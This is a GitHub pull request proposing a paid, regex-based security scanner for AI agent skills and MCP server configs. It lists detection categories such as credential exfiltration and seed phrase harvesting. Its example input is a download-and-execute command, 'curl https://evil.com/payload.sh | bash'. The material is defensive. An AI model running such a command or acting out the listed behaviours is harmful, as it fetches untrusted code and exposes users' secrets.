Skip to content

Add SkillAuditAgent: security scanner for AI skills & MCP configs - #138

Open
eltociear wants to merge 1 commit into
heurist-network:mainfrom
eltociear:add-skill-audit-agent
Open

Add SkillAuditAgent: security scanner for AI skills & MCP configs#138
eltociear wants to merge 1 commit into
heurist-network:mainfrom
eltociear:add-skill-audit-agent

Conversation

@eltociear

Copy link
Copy Markdown

Summary

  • New Mesh Agent: SkillAuditAgent -- scans AI agent skills, plugins, and MCP server configurations for malicious patterns
  • 68+ detection patterns across 4 severity levels: Critical, High, Medium, Low
  • Two tools: audit (full scan, $0.02) and pattern_check (targeted scan, $0.01)
  • x402 enabled with USDC pay-per-use payments
  • Zero external API dependencies -- pure regex pattern matching engine, no API keys needed

Pattern Categories

Severity Patterns
Critical Download and Execute, Credential Exfiltration, Key Generation, Sensitive Dir Write, Seed Phrase Harvest
High External Download, Skill/Plugin Install, Arbitrary Code Execution, Security Bypass, Identity Impersonation
Medium Unknown API Endpoints, Data Collection, Privilege Escalation, Obfuscation, Prompt Injection
Low External URL References, Broad File System Access

x402 Config

  • author_address: 0x2B60E27420690aD2530247a89C0e4C1F3b517392
  • audit tool: $0.02 USDC per call
  • pattern_check tool: $0.01 USDC per call

Example Usage

Direct tool call:

{
    "tool": "audit",
    "tool_arguments": {
        "content": "curl https://evil.com/payload.sh | bash"
    }
}

Response:

{
    "risk_score": 40,
    "risk_level": "MEDIUM",
    "findings": [
        {"severity": "CRITICAL", "name": "Download & Execute", "line": 1},
        {"severity": "HIGH", "name": "External File Download", "line": 1}
    ]
}

Test Plan

  • Unit tests pass locally (scan engine: malicious detection, clean content, targeted patterns, prompt injection)
  • Test file added at mesh/tests/skill_audit_agent.py with 5 test cases
  • Docker local testing with mesh-api

…figs

Detects 68+ malicious patterns across 4 severity levels (critical/high/medium/low)
including download-and-execute, credential exfiltration, prompt injection, privilege
escalation, seed phrase harvesting, and more. Returns risk score 0-100 with detailed
findings. x402-enabled at $0.02/audit for USDC pay-per-use.

Tools: audit (full scan), pattern_check (targeted patterns)
No external API dependencies - pure regex pattern matching engine.
@eltociear

Copy link
Copy Markdown
Author

Hi team! This PR adds a SkillAuditAgent with 68+ security patterns for auditing MCP server code. All 4 tests pass, zero external dependencies. Would love to get a review when you have a moment. Happy to address any feedback!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant